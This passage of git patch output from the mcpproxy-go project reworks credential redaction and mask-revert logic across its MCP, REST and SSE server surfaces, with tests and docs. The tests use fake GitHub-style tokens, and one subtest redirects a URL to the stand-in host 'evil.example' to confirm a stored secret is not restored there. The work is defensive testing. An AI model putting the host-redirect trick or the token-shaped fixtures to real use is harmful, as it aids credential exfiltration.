`BENIGN_NAME` — and the guard is what keeps it -// from collapsing the #872 component-wise connection-string rendering, whose -// readable scheme/host/db the operator's edit flow depends on. -// -// When the detector does fire on a live surface the rendering is no longer -// oauth's, so oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL can no longer -// recognise an echoed mask. unmaskLiveEnvValues / unmaskLiveHeaders / -// unmaskLiveURL (mcp_server_view.go) reproduce THIS rendering and run first on -// the write path, so the round trip still cannot persist a mask over a secret. -func (r redactionPolicy) detectContracted(original, masked string) string { - if !r.detectContractedLeaves && masked != original { - return masked - } - return maskDetectedSecrets(masked) + return r.capString(r.EnvValue(name, value)) } -// redactHeaderValueWith masks one HTTP header leaf, judged by the header -// NAME first and then by the value's own shape. -// -// Both rules are needed and neither is sufficient. oauth's name matcher cannot -// enumerate every custom credential header (issue #1146 round 3 widened it to -// split CamelCase, which is what recovers X-AuthToken / X-SecretValue, but -// `X-Zyx` holding a bearer token is still unknowable from the name); the -// detector cannot recognise an opaque value with no credential shape. Running -// both is the only combination that closes each other's gap. +// redactHeaderValueWith masks one HTTP header leaf, judged by the header NAME +// first and then by the value's own shape. func redactHeaderValueWith(name, value string, r redactionPolicy) string { - masked := oauth.RedactStringHeadersWith(map[string]string{name: value}, r.mask)[name] - return r.capString(r.detectContracted(value, masked)) + return r.capString(r.HeaderValue(name, value)) } // redactActivityConfigValues redacts a flat before/after value map for a @@ -503,117 +415,45 @@ func isActivityArgvKey(key string) bool { return strings.EqualFold(key, "args") } -// redactArgvWith masks a command-line argument vector. -// -// Issue #1146, review round: argv was the one leak the key-driven walker could -// not see. An argv token has no enclosing key — the slice branch recursed with -// the PARENT key ("args"), so every element reached redactStringWith("args", -// elem) and fell through unmasked. Passing a credential as an argv token -// (`uvx mcp-foo --api-key sk-live-…`) is one of the commonest MCP server config -// shapes, so the record persisted in BBolt, the SSE payload and -// `mcpproxy activity list` all carried it in the clear. +// redactArgvWith masks a command-line argument vector reached through the +// generic JSON walk. The argv rules themselves live in oauth.Redaction.Argv so +// the MCP and REST doors share one implementation (issue #1148, round 4). // -// Two rules, because argv secrets announce themselves in two ways: -// -// - The FLAG names the credential — `--api-key VALUE` and `--api-key=VALUE`. -// Delegated to redactStringWith with the de-dashed flag as the key, so -// the same single source of truth the env map uses decides, and the flag -// itself stays readable (it is the audit signal: WHICH credential moved). -// - The VALUE is recognisably a credential on its own — an AWS key, a GitHub -// token, a PEM block, a high-entropy blob — wherever it sits. That is what -// internal/security's detector is for, so it is reused rather than -// re-invented as another regex here. -// -// BOTH rules run on BOTH spellings. Round 3 found the inline form consulting -// only the first: `--endpoint=ghp_…` names nothing sensitive, so nothing ever -// looked at the value and the token was stored in the clear, while the -// identical `--endpoint ghp_…` was masked. redactStringWith now ends in the -// detector for every leaf, which is what keeps the two spellings in step by -// construction rather than by two call sites remembering to agree. -// -// Everything else round-trips verbatim: package names, subcommands, paths and -// ports are what make the record useful. +// Non-string elements (only reachable from a malformed `args_json` payload) +// carry no flag semantics: they are walked with no enclosing key and stand in +// as an empty token, which resets the flag pairing exactly as the typed walk +// did. func redactArgvWith(argv []interface{}, r redactionPolicy) []interface{} { - out := make([]interface{}, len(argv)) - maskNext := false - + tokens := make([]string, len(argv)) for i, item := range argv { - s, ok := item.(string) - if !ok { - // A non-string element carries no flag semantics; walk it with no - // enclosing key and reset the pairing. - out[i] = redactValueWith("", item, r) - maskNext = false - continue - } - - if maskNext { - out[i] = r.capString(r.mask(s)) - maskNext = false - continue + if s, ok := item.(string); ok { + tokens[i] = s } + } + masked := r.Argv(tokens) - if flag, value, inline := strings.Cut(s, "="); inline && isArgvFlag(flag) { - out[i] = r.capString(flag + "=" + redactStringWith(argvFlagKey(flag), value, r)) + out := make([]interface{}, len(argv)) + for i, item := range argv { + if _, ok := item.(string); !ok { + out[i] = redactValueWith("", item, r) continue } - - // An unpaired token — a positional argument, a flag name, or the value - // of a flag whose name says nothing. Round 2 finding 5: this ran the - // value-shaped detector ALONE, which knows database connection strings - // but not `https://user:pass@host` or `https://host?token=…`. So - // `--endpoint https://host?token=…` and the bare positional spelling - // both emitted the credential verbatim while the identical - // `--endpoint=https://host?token=…` was masked — the same - // inline-vs-space asymmetry round 3 of #1146 already fixed once. - // - // Routing through redactStringWith with NO enclosing key is what keeps - // the two spellings in step by construction: it is the same function - // the inline branch delegates to, so the URL rule, the env-name rule - // and the detector all apply to every spelling. - out[i] = redactStringWith("", s, r) - maskNext = isArgvFlag(s) && oauth.IsSensitiveKeyName(argvFlagKey(s)) + out[i] = r.capString(masked[i]) } - return out } -// isArgvFlag reports whether a token is an option rather than a positional -// argument. A bare "-" or "--" is a convention, not a flag. -func isArgvFlag(token string) bool { - return strings.HasPrefix(token, "-") && strings.Trim(token, "-") != "" -} - -// argvFlagKey turns `--api-key` into the key name the env/header redactors -// match on. -func argvFlagKey(flag string) string { - return strings.TrimLeft(flag, "-") -} - -// activitySecretMasker is the value-shaped secret masker used for argv tokens, -// which have no key to be judged by. -// -// It is built from the DEFAULT detection config rather than the running one on -// purpose: masking here is a property of the audit STORE, and an operator who -// turned sensitive-data detection off for the call path must not thereby cause -// credentials to be written to that store in the clear. (Detector.MaskText -// ignores the `enabled` flag for the same reason.) -var activitySecretMasker = sync.OnceValue(func() *security.Detector { - return security.NewDetector(config.DefaultSensitiveDataDetectionConfig()) -}) - -// maskDetectedSecrets masks any credential the detector recognises inside one -// argv token, leaving text it does not recognise untouched. +// maskDetectedSecrets masks any credential the value-shaped detector +// recognises, leaving text it does not recognise untouched. func maskDetectedSecrets(s string) string { - masked, _ := activitySecretMasker().MaskText(s) - return masked + return oauth.MaskDetectedSecrets(s) } // isActivityHeadersKey reports whether a map should be masked with HTTP-header // semantics. Covers both the `headers` config field and the `headers_json` tool // parameter (the suffix is trimmed before the walk). func isActivityHeadersKey(key string) bool { - return strings.EqualFold(key, "headers") + return oauth.IsHeadersFieldName(key) } // isActivityEnvKey reports whether a map should be masked with diff --git a/internal/server/mcp_secret_redaction_hardening_test.go b/internal/server/mcp_secret_redaction_hardening_test.go index 2628fb019..b37ac5901 100644 --- a/internal/server/mcp_secret_redaction_hardening_test.go +++ b/internal/server/mcp_secret_redaction_hardening_test.go @@ -102,7 +102,7 @@ func TestArgvMaskEcho_AcceptsRealValues(t *testing.T) { }) } -// TestArgvMaskMarkers_MatchTheRenderings pins argvMaskMarkers to the functions +// TestArgvMaskMarkers_MatchTheRenderings pins oauth.MaskMarkers to the functions // that actually produce masks, so a change to either rendering fails here // instead of silently letting a mask through the echo check. func TestArgvMaskMarkers_MatchTheRenderings(t *testing.T) { @@ -264,7 +264,9 @@ func TestUnmaskLiveLeaves_ProtectAReadModifyWriteRoundTrip(t *testing.T) { }) t.Run("url", func(t *testing.T) { - assert.Equal(t, stored.URL, unmaskLiveURL(viewString(view, "url", ""), stored.URL)) + got, err := unmaskLiveURL(viewString(view, "url", ""), stored.URL) + require.NoError(t, err) + assert.Equal(t, stored.URL, got) }) } diff --git a/internal/server/mcp_secret_redaction_round4_test.go b/internal/server/mcp_secret_redaction_round4_test.go new file mode 100644 index 000000000..8a8a4f002 --- /dev/null +++ b/internal/server/mcp_secret_redaction_round4_test.go @@ -0,0 +1,164 @@ +package server + +import ( + "encoding/json" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// This file collects the round-4 review findings on issue #1148. +// +// Findings 1 and 2 are the same class as the argv one: #1148 started MASKING a +// field on a live read surface without giving the write path a matching, +// key-bound revert (or a refusal), so a read-modify-write client persists the +// MASK STRING over the real credential. + +// --------------------------------------------------------------------------- +// Finding 1: oauth_json REPLACES the whole oauth block, and the live view masks +// extra_params values (and can mask a scope) — but unmaskLiveOAuth reverted +// ONLY client_secret. +// --------------------------------------------------------------------------- + +const round4GitHubToken = "ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789" + +func TestOAuthJSON_ExtraParamMask_IsRevertedNotPersisted(t *testing.T) { + stored := &config.OAuthConfig{ + ClientID: "client-abc", + ClientSecret: leakySecrets["oauth"], + ExtraParams: map[string]string{ + // RFC 8707 resource indicator carrying a signed URL: the live view + // masks `sig` via the URL rule. + "resource": "https://api.example.com/mcp?sig=" + leakySecrets["url"] + "®ion=eu", + "audience": "tenant-a", + }, + } + + view := redactedServerView(&config.ServerConfig{Name: "srv", OAuth: stored}, liveRedaction) + oauthView, ok := view["oauth"].(map[string]interface{}) + require.True(t, ok, "the live view renders the oauth block") + params, ok := oauthView["extra_params"].(map[string]interface{}) + require.True(t, ok, "the live view renders extra_params") + require.NotContains(t, params["resource"], leakySecrets["url"], + "precondition: the read path masks the signed resource URL") + + // A read-modify-write client echoes the rendered block straight back. + echoed := roundTripOAuthView(t, oauthView) + require.NoError(t, unmaskLiveOAuth(echoed, stored)) + + assert.Equal(t, stored.ExtraParams["resource"], echoed.ExtraParams["resource"], + "an echoed extra_params mask must be reverted, never persisted over the credential") + assert.Equal(t, stored.ClientSecret, echoed.ClientSecret) + assert.Equal(t, "tenant-a", echoed.ExtraParams["audience"], "non-secret params round-trip verbatim") +} + +func TestOAuthJSON_ResidualMask_IsRefused(t *testing.T) { + // A scope has no key to bind a revert to — its only context is its position + // in a caller-supplied slice — so a mask that survives the key-bound + // reverts must be REFUSED, exactly like an argv token. + stored := &config.OAuthConfig{ + ClientID: "client-abc", + Scopes: []string{"read:user", round4GitHubToken}, + } + + view := redactedServerView(&config.ServerConfig{Name: "srv", OAuth: stored}, liveRedaction) + oauthView := view["oauth"].(map[string]interface{}) + scopes, ok := oauthView["scopes"].([]interface{}) + require.True(t, ok) + require.NotContains(t, scopes[1], round4GitHubToken, "precondition: the read path masks the token-shaped scope") + + echoed := roundTripOAuthView(t, oauthView) + err := unmaskLiveOAuth(echoed, stored) + require.Error(t, err, "a mask with no key to bind to must be refused, not written through") + assert.NotContains(t, err.Error(), round4GitHubToken) +} + +func TestOAuthJSON_UnmaskedBlock_IsAccepted(t *testing.T) { + stored := &config.OAuthConfig{ClientID: "client-abc", ClientSecret: leakySecrets["oauth"]} + incoming := &config.OAuthConfig{ClientID: "client-abc", ClientSecret: "brand-new-secret"} + require.NoError(t, unmaskLiveOAuth(incoming, stored)) + assert.Equal(t, "brand-new-secret", incoming.ClientSecret, "a rotated secret is written through") +} + +func roundTripOAuthView(t *testing.T, oauthView map[string]interface{}) *config.OAuthConfig { + t.Helper() + raw, err := json.Marshal(oauthView) + require.NoError(t, err) + var out config.OAuthConfig + require.NoError(t, json.Unmarshal(raw, &out)) + return &out +} + +// --------------------------------------------------------------------------- +// Finding 2: editing any OTHER part of a URL defeats the whole-URL echo check, +// and oauth.UnmaskURL only knows the SENSITIVE query params — so a mask the +// value-shaped detector produced under an unrecognised parameter name was +// written through as the credential. +// --------------------------------------------------------------------------- + +func TestUnmaskLiveURL_RevertsPerParameterAcrossAnEdit(t *testing.T) { + stored := "https://host/old?opaque=" + round4GitHubToken + "®ion=eu" + rendered := redactStringWith("url", stored, liveRedaction) + require.NotContains(t, rendered, round4GitHubToken, "precondition: the live detector masks the token") + + // The client edits the PATH and echoes everything else back. + incoming := strings.Replace(rendered, "/old", "/new", 1) + out, err := unmaskLiveURL(incoming, stored) + require.NoError(t, err) + assert.Contains(t, out, round4GitHubToken, "the real credential must survive an unrelated edit") + assert.Contains(t, out, "/new", "the edit must be applied") + assert.Contains(t, out, "region=eu") +} + +func TestUnmaskLiveURL_RefusesAMaskItCannotBind(t *testing.T) { + stored := "https://host/old?opaque=" + round4GitHubToken + rendered := redactStringWith("url", stored, liveRedaction) + + t.Run("a moved authority is refused, never restored", func(t *testing.T) { + moved := strings.Replace(rendered, "host", "evil.example", 1) + out, err := unmaskLiveURL(moved, stored) + require.Error(t, err, "a mask must never be persisted, and never follow the URL to a new host") + assert.NotContains(t, out, round4GitHubToken) + }) + + t.Run("an unedited echo still reverts", func(t *testing.T) { + out, err := unmaskLiveURL(rendered, stored) + require.NoError(t, err) + assert.Equal(t, stored, out) + }) + + t.Run("a genuinely new URL is written through", func(t *testing.T) { + out, err := unmaskLiveURL("https://host/new?opaque=fresh", stored) + require.NoError(t, err) + assert.Equal(t, "https://host/new?opaque=fresh", out) + }) +} + +// --------------------------------------------------------------------------- +// Finding 4: /api/v1/servers/{id}/logs is the REST twin of `tail_log` — same +// stored child-process and connection log lines, no scrubbing. +// --------------------------------------------------------------------------- + +func TestParseLogLine_ScrubsCredentials(t *testing.T) { + lines := []string{ + `2025-01-20 15:04:05 [INFO] Starting connection attempt url=https://host/mcp?token=` + leakySecrets["url"], + `child stdout: using ` + round4GitHubToken, + } + + var entries []contracts.LogEntry + for _, line := range lines { + entries = append(entries, parseLogLine(line, "leaky")) + } + + assert.NotContains(t, entries[0].Message, leakySecrets["url"], + "the REST logs endpoint republishes the URL credential mcpproxy itself logged") + assert.Contains(t, entries[0].Message, "Starting connection attempt", "the diagnostic content must survive") + assert.Equal(t, "INFO", entries[0].Level) + assert.NotContains(t, entries[1].Message, round4GitHubToken, + "a credential the child process printed must not leave through the REST door either") +} diff --git a/internal/server/mcp_server_view.go b/internal/server/mcp_server_view.go index 2da4bdf17..1ac6e3542 100644 --- a/internal/server/mcp_server_view.go +++ b/internal/server/mcp_server_view.go @@ -2,6 +2,7 @@ package server import ( "encoding/json" + "errors" "fmt" "strings" "time" @@ -190,37 +191,14 @@ func viewString(view map[string]interface{}, key, fallback string) string { } // redactedArgs masks a command-line argument vector under the given policy. -// Returns nil for nil so JSON callers keep emitting `null`. +// Returns nil for nil so JSON callers keep emitting `null`. The rules live in +// oauth.Redaction.Argv so the MCP and REST doors share one implementation. func redactedArgs(args []string, r redactionPolicy) []string { - if args == nil { - return nil - } - items := make([]interface{}, len(args)) - for i, a := range args { - items[i] = a - } - masked := redactArgvWith(items, r) - out := make([]string, len(masked)) - for i, v := range masked { - s, ok := v.(string) - if !ok { - // redactArgvWith returns a string for every string input, which is - // all this helper ever supplies. Fail closed anyway. - return redactedArgsFallback(args, r) - } - out[i] = s - } - return out -} - -// redactedArgsFallback masks every element wholesale. Unreachable in practice; -// it exists so redactedArgs can never fall back to the RAW vector. -func redactedArgsFallback(args []string, r redactionPolicy) []string { - out := make([]string, len(args)) - for i, a := range args { - out[i] = r.mask(a) + masked := r.Argv(args) + for i, m := range masked { + masked[i] = r.capString(m) } - return out + return masked } // Issue #1148, round 3: argv masks are NEVER reverted. They are REFUSED. @@ -258,56 +236,20 @@ func redactedArgsFallback(args []string, r redactionPolicy) []string { // `args_json` REPLACES the vector, so silently ignoring it would make the write // look applied when it was not. -// argvMaskMarkers are the substrings every masked rendering of an argv token -// carries: oauth.MaskValue / AuditMaskValue open with the bullet run, and the -// value-shaped detector (security.MaskValue) ends with the elision+asterisks. -// -// The marker check backs up the exact-echo check below so a mask still gets -// refused when the stored vector has since changed and the byte-for-byte -// comparison no longer matches. TestArgvMaskMarkers_MatchTheRenderings pins -// them to the functions that produce them. -var argvMaskMarkers = []string{"••••", "…****"} +// containsArgvMaskMarker / checkArgvMaskEcho are thin bindings onto the shared +// implementation in internal/oauth (oauth.MaskMarkers, +// oauth.ContainsMaskMarker, oauth.CheckArgvMaskEcho), which is where they have +// to live: `GET /api/v1/servers` masks argv too, and internal/httpapi cannot +// import this package (issue #1148, round 4 finding 3). +func containsArgvMaskMarker(token string) bool { + return oauth.ContainsMaskMarker(token) +} // checkArgvMaskEcho reports an error when an incoming argv vector still carries -// a mask this proxy rendered — either the exact masking of a stored token, or -// any token bearing a mask marker. -// -// Returns nil for a vector that carries no mask, which is every legitimate -// write: a caller that changed nothing sends the real values it already has, a -// caller that rotated a credential sends the new one. +// a mask this proxy rendered. `args_json` is the MCP surface's spelling of the +// parameter; REST passes `args`. func checkArgvMaskEcho(incoming, stored []string) error { - if len(incoming) == 0 { - return nil - } - - echoed := make(map[string]struct{}, len(stored)) - if len(stored) > 0 { - for i, masked := range redactedArgs(stored, liveRedaction) { - if masked != stored[i] { - echoed[masked] = struct{}{} - } - } - } - - for i, token := range incoming { - if _, ok := echoed[token]; !ok && !containsArgvMaskMarker(token) { - continue - } - return fmt.Errorf("args_json[%d] is a redaction placeholder, not an argument value: "+ - "credential-shaped argv tokens are masked on read and are never restored on write, "+ - "because an argv slot carries no key to bind the secret to. "+ - "Resend the real value for that argument, or omit args_json to leave the stored arguments unchanged", i) - } - return nil -} - -func containsArgvMaskMarker(token string) bool { - for _, marker := range argvMaskMarkers { - if strings.Contains(token, marker) { - return true - } - } - return false + return oauth.CheckArgvMaskEcho("args_json", incoming, stored) } // unmaskLiveEnvValues reverts env values a client echoed back exactly as the @@ -349,37 +291,131 @@ func unmaskLiveMap(incoming, stored map[string]string, rendered func(k, v string return out } -// unmaskLiveURL reverts a URL echoed back exactly as the live view rendered it. -// A genuinely edited URL falls through to oauth.UnmaskURL, which restores the -// individual masked components under its own authority safeguard. -func unmaskLiveURL(incoming, stored string) string { +// unmaskLiveURL reverts a masked URL on the write path, and REFUSES the write +// when a mask it cannot bind survives. +// +// Three steps, widest binding first: +// +// 1. The whole URL echoed back byte for byte — revert to the stored URL. +// 2. A genuine edit — oauth.UnmaskURL restores the userinfo password and the +// SENSITIVE query params under its own authority safeguard, then +// oauth.UnmaskLiveURLParams restores, PER PARAMETER, anything the +// value-shaped detector masked under a parameter name no matcher +// recognises. +// 3. Whatever still carries a mask marker is refused. +// +// Round 4 finding 2 is why (2) needs the per-parameter pass and (3) exists at +// all: for `https://host/old?opaque=ghp_…` the LIVE detector masks the value, +// but changing `/old` to `/new` defeats the whole-URL comparison in (1) and +// oauth.UnmaskURL ignores the unrecognised `opaque` parameter — so the mask was +// written through as the credential. The per-parameter revert is bound to the +// parameter name and the authority and to nothing else, so it survives an +// unrelated edit; the refusal covers everything that binding cannot reach (a +// URL moved to another host, a mask in the path or the fragment, a parameter +// whose stored counterpart is gone). +func unmaskLiveURL(incoming, stored string) (string, error) { + if incoming == "" { + return incoming, nil + } + if stored != "" { + if incoming == redactStringWith("url", stored, liveRedaction) { + return stored, nil + } + incoming = oauth.UnmaskLiveURLParams(oauth.UnmaskURL(incoming, stored), stored) + } + if oauth.ContainsMaskMarker(incoming) { + return "", errors.New("url is a redaction placeholder, not a URL: " + + "credentials inside the URL are masked on read, and this one cannot be bound back to the stored " + + "value (the scheme/host changed, or the credential does not sit in a query parameter). " + + "Resend the real URL, or omit url to leave the stored one unchanged") + } + return incoming, nil +} + +// unmaskLiveOAuth reverts masked oauth fields echoed back by a client, and +// REFUSES the write when a mask it cannot bind survives. +// +// `oauth_json` REPLACES the whole oauth block, and the live view masks every +// leaf of it that looks like a credential — not just client_secret. Round 2 +// finding 6 fixed client_secret; round 4 finding 1 caught the rest: +// `extra_params` routinely holds an RFC 8707 resource indicator with a signed +// URL, which the URL rule masks, and any leaf can be masked by the value-shaped +// detector. A read-modify-write through `oauth_json` therefore persisted the +// MASK STRING over those values. +// +// The rule this file now applies uniformly: every field newly masked on a read +// surface gets either a matching KEY-BOUND revert or a refusal. +// +// - client_secret, client_id, redirect_uri — reverted, each bound to its own +// field name, using the same rendering the read path produced. +// - extra_params — reverted per PARAMETER NAME, exactly as env vars and +// headers are reverted per key. +// - scopes, and any field added to config.OAuthConfig in future — REFUSED. A +// scope's only context is its position in a caller-supplied slice, which is +// the same non-binding an argv token has (see checkArgvMaskEcho), and a +// future field has no revert at all. The residual check walks the whole +// block, so a new field fails CLOSED instead of silently corrupting. +// +// The REST API is unaffected: contracts.OAuthConfig is read-only there (there +// is no oauth field on AddServerRequest), so no REST write can echo one back. +func unmaskLiveOAuth(incoming, stored *config.OAuthConfig) error { + if incoming == nil { + return nil + } + if stored != nil { + incoming.ClientSecret = unmaskLiveField("client_secret", incoming.ClientSecret, stored.ClientSecret) + incoming.ClientID = unmaskLiveField("client_id", incoming.ClientID, stored.ClientID) + incoming.RedirectURI = unmaskLiveField("redirect_uri", incoming.RedirectURI, stored.RedirectURI) + incoming.ExtraParams = unmaskLiveMap(incoming.ExtraParams, stored.ExtraParams, + func(k, v string) string { return redactStringWith(k, v, liveRedaction) }) + } + if path, ok := findMaskMarker("oauth", normalizeForRedaction(incoming)); ok { + return fmt.Errorf("oauth_json%s is a redaction placeholder, not a value: "+ + "it carries no key this proxy can bind the stored secret to, so it is never restored on write. "+ + "Resend the real value, or omit oauth_json to leave the stored oauth block unchanged", + strings.TrimPrefix(path, "oauth")) + } + return nil +} + +// unmaskLiveField reverts one scalar field echoed back exactly as the live view +// rendered it, bound to the field NAME the rendering was keyed on. +func unmaskLiveField(key, incoming, stored string) string { if incoming == "" || stored == "" { return incoming } - if incoming == redactStringWith("url", stored, liveRedaction) { + if incoming == redactStringWith(key, stored, liveRedaction) { return stored } - return oauth.UnmaskURL(incoming, stored) + return incoming } -// unmaskLiveOAuth reverts a masked oauth.client_secret echoed back by a client. +// findMaskMarker walks a generic JSON value and returns the dotted path of the +// first string leaf still carrying a mask this proxy rendered. // -// Round 2 finding 6: #1148 started masking client_secret on the MCP read -// surface (`quarantine_security list_quarantined` renders the WHOLE config) -// without giving the write path anything to recognise the mask by, so a -// read-modify-write through `oauth_json` — which REPLACES the oauth block — -// persisted `••••42 (17 chars)` as the client secret. Read and write now agree -// on the same rendering, bound to the field it came from. -// -// The REST API is not affected in either direction: contracts.OAuthConfig -// carries no client_secret, so no REST response ever renders one. -func unmaskLiveOAuth(incoming, stored *config.OAuthConfig) { - if incoming == nil || stored == nil || stored.ClientSecret == "" { - return - } - if incoming.ClientSecret == redactStringWith("client_secret", stored.ClientSecret, liveRedaction) { - incoming.ClientSecret = stored.ClientSecret +// Walking the whole value rather than checking a hand-written field list is the +// point: it is what makes a field ADDED to the struct later fail closed instead +// of quietly round-tripping its own mask into the config. +func findMaskMarker(path string, v interface{}) (string, bool) { + switch typed := v.(type) { + case map[string]interface{}: + for k, val := range typed { + if p, ok := findMaskMarker(path+"."+k, val); ok { + return p, true + } + } + case []interface{}: + for i, val := range typed { + if p, ok := findMaskMarker(fmt.Sprintf("%s[%d]", path, i), val); ok { + return p, true + } + } + case string: + if oauth.ContainsMaskMarker(typed) { + return path, true + } } + return "", false } // inspectConnectionTimeoutError renders `inspect_quarantined`'s diff --git a/internal/server/server.go b/internal/server/server.go index 3c55664fe..8d729e7b3 100644 --- a/internal/server/server.go +++ b/internal/server/server.go @@ -3420,7 +3420,15 @@ func (s *Server) GetServerLogs(serverName string, tail int) ([]contracts.LogEntr return logEntries, nil } -// parseLogLine parses a log line into a LogEntry +// parseLogLine parses a log line into a LogEntry. +// +// Issue #1148, round 4 finding 4: this is the REST twin of `tail_log`. The +// per-server log file is written by mcpproxy AND by the child process, and both +// put credentials in it — the connection logger records the upstream URL with +// its `?token=…`, and an MCP server is free to print its own API key. +// `GET /api/v1/servers/{id}/logs` served those lines verbatim while the MCP +// door scrubbed them. Scrubbing HERE, where a raw line becomes a LogEntry, +// covers every reader of GetServerLogs rather than one handler. func parseLogLine(line string, serverName string) contracts.LogEntry { // Try to parse structured format: "2025-01-20 15:04:05 [LEVEL] message" parts := strings.SplitN(line, " ", 3) @@ -3453,6 +3461,7 @@ func parseLogLine(line string, serverName string) contracts.LogEntry { } } + entry.Message = scrubUpstreamText(entry.Message) return entry } From 48c4abded69060dad1e89a4a34aa735b1cea64c4 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 11:10:38 +0300 Subject: [PATCH 06/10] fix(security): one redaction rule and one revert rule for every server door MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round 6 of the #1148 review found the same shape a sixth time: the field list was shared across the doors, the RULES were not. Finding 1 — a live leak. Redaction.detectContracted gated the value-shaped detector on `masked != original` for the WHOLE string, so once the NAME rule rewrote one component of a URL the detector was skipped for every other one. A URL holding two credentials published the second verbatim on `upstream_servers list`, `quarantine_security list_quarantined`, `GET /api/v1/servers` and the `/events` SSE payload: ?token=abc&opaque= -> opaque published in the clear https://u:pw@host?opaque= -> opaque published in the clear The detector now runs PER COMPONENT — every query parameter the name rule left alone, plus the path and the fragment — which closes it without collapsing the #872 component-wise rendering UnmaskURL binds to. The same guard leaked one leaf down (an env or header value whose name rule fired on an embedded `token=` pair); it is now skipped in exactly one case: the name rule replaced the WHOLE value with this package's own mask, so no byte of the secret survives for the detector to find. Finding 2 — the same half-done shape one layer down. RedactServerSecretFields applied name-rule-only redaction while the MCP door applied the name rule PLUS the detector, so a credential under a benign env/header name, or under an unrecognised URL query parameter, was masked on MCP and plaintext on `GET /api/v1/servers` and every `servers.changed` SSE payload. It now uses LiveRedaction. Adding that masking without a matching revert would have traded a disclosure for corruption, so the write mirrors move down into internal/oauth (serverwrite.go) — internal/httpapi sits below internal/server and cannot import it. REST PATCH now calls the same UnmaskLiveURL / UnmaskLiveEnvValues / UnmaskLiveHeaders the MCP patch door calls; the round trip is pinned by tests at both the rule level and through the handler. Finding 3 — oauth.scopes was masked on MCP and returned unredacted over REST and SSE. Now masked on both. (contracts.OAuthConfig has no ClientSecret, so that absence stands.) Finding 4 — MCP `upstream_servers add` accepted echoed masks that REST POST refused, silently persisting text like `••••AL (12 chars)` as an argv token. Both create doors now refuse. Structurally: every write door — MCP add/update/patch, REST POST/PATCH — ends in ONE fail-closed residual check. Whatever still carries a mask after the key-bound reverts is refused, never persisted. That covers the fields with no binding (args, oauth.scopes, isolation.extra_args), a mask relocated to another key or host, and any field added to config.ServerConfig later. oauth.ServerFieldMaskDecisions records the per-field answer once, and a reflection test over config.ServerConfig and contracts.Server fails when a field appears on the wire without one. Docs corrected: rest-api.md asserted the shared rule set that did not exist. --- docs/api/rest-api.md | 44 +++- docs/configuration/upstream-servers.md | 7 + internal/httpapi/round6_write_parity_test.go | 179 +++++++++++++ internal/httpapi/server.go | 85 ++++-- internal/oauth/logging.go | 8 +- internal/oauth/redactview.go | 200 +++++++++++---- internal/oauth/round6_one_rule_test.go | 257 +++++++++++++++++++ internal/oauth/serverfields.go | 227 +++++++++++++--- internal/oauth/serverwrite.go | 237 +++++++++++++++++ internal/runtime/event_bus.go | 13 +- internal/server/mcp.go | 22 ++ internal/server/mcp_activity_args.go | 16 +- internal/server/mcp_server_view.go | 162 ++---------- internal/server/round6_write_doors_test.go | 136 ++++++++++ 14 files changed, 1305 insertions(+), 288 deletions(-) create mode 100644 internal/httpapi/round6_write_parity_test.go create mode 100644 internal/oauth/round6_one_rule_test.go create mode 100644 internal/oauth/serverwrite.go create mode 100644 internal/server/round6_write_doors_test.go diff --git a/docs/api/rest-api.md b/docs/api/rest-api.md index 253c10f79..075bea7eb 100644 --- a/docs/api/rest-api.md +++ b/docs/api/rest-api.md @@ -159,16 +159,40 @@ API always requires an API key, so it is unaffected. Redaction is not limited to headers. The same responses — and the `/events` SSE `servers.changed` payloads, which go through the identical redactor — also -mask env values, URL query credentials, `oauth.extra_params` and -credential-shaped **argv tokens** (`--api-key sk-…`, `--endpoint=ghp_…`), using -one shared rule set so the REST, SSE and MCP doors cannot drift. Two -consequences for clients: - -- `POST` / `PATCH /api/v1/servers` **reject** an `args` array that still carries - a mask with `400`. An argv slot has no key to bind a stored secret to, so an - echoed mask is refused rather than reverted — resend the real values, or omit - `args` to leave the stored vector unchanged. See - [Upstream servers](../configuration/upstream-servers.md#how-you-edit-them). +mask env values, URL query credentials, `oauth.extra_params`, `oauth.scopes` +and credential-shaped **argv tokens** (`--api-key sk-…`, `--endpoint=ghp_…`), +using one shared rule set so the REST, SSE and MCP doors cannot drift. + +Two rules decide, in that order, and **both** run on every field: + +1. The **field name** — `Authorization`, `GITHUB_TOKEN`, `?access_token=`, + `--api-key`. This is what keeps a payload readable: it says *which* + credential is configured without revealing it. +2. The **value's own shape** — an AWS key, a GitHub token, a PEM block, a + high-entropy blob — wherever it sits. A credential under a benign name + (`env: {BUILD_ID: ghp_…}`, `?opaque=ghp_…`, a custom header) is invisible to + rule 1 and obvious to rule 2, so rule 2 runs over everything rule 1 left + alone. In a URL it runs per component, so the readable + `scheme://user:••••(N chars)@host/db` rendering survives while a second + credential elsewhere in the same URL is still masked. + +Three consequences for clients: + +- A masked value **echoed back on a write** is reverted only when it can be + bound to a key it cannot be moved away from — a map key for `env` / `headers` + / `oauth.extra_params`, a query-parameter name plus the stored scheme and + `host:port` for `url`, a field name for `oauth.client_secret` / + `client_id` / `redirect_uri`. So a read-modify-write that edits one field + never persists another field's mask over the real secret. +- Everything else is **refused** with `400`, never reverted: `args`, + `oauth.scopes`, `isolation.extra_args`, a mask moved to a different key or + host, and any field added to the server config later. An argv slot (like a + scope) has no key to bind a stored secret to — only its index and its + neighbours, all of them caller-supplied in the same request — so an echoed + mask is refused rather than reverted. Resend the real value, or omit the + field to leave the stored one unchanged. `POST /api/v1/servers` refuses + *every* echoed mask, since on create there is no stored value to bind one to. + See [Upstream servers](../configuration/upstream-servers.md#how-you-edit-them). - `GET /api/v1/servers/{id}/logs` scrubs credentials out of the returned log lines (mcpproxy logs the upstream URL with its query string, and a child MCP server may print its own API key), matching the MCP `tail_log` operation. diff --git a/docs/configuration/upstream-servers.md b/docs/configuration/upstream-servers.md index 52aa50673..3253a0a3f 100644 --- a/docs/configuration/upstream-servers.md +++ b/docs/configuration/upstream-servers.md @@ -278,6 +278,13 @@ curl -X PATCH -H "X-API-Key: $KEY" -H "Content-Type: application/json" \ - key absent from body → preserve (this is how the UI sends a diff against the masked view without overwriting unchanged values) +A client that sends the **whole** map back is safe too: a value that is exactly +the mask the read path rendered for that key is reverted to the stored secret, +bound to the key it was read from. What cannot be bound to a key is **refused** +with `400` rather than written through — `args`, 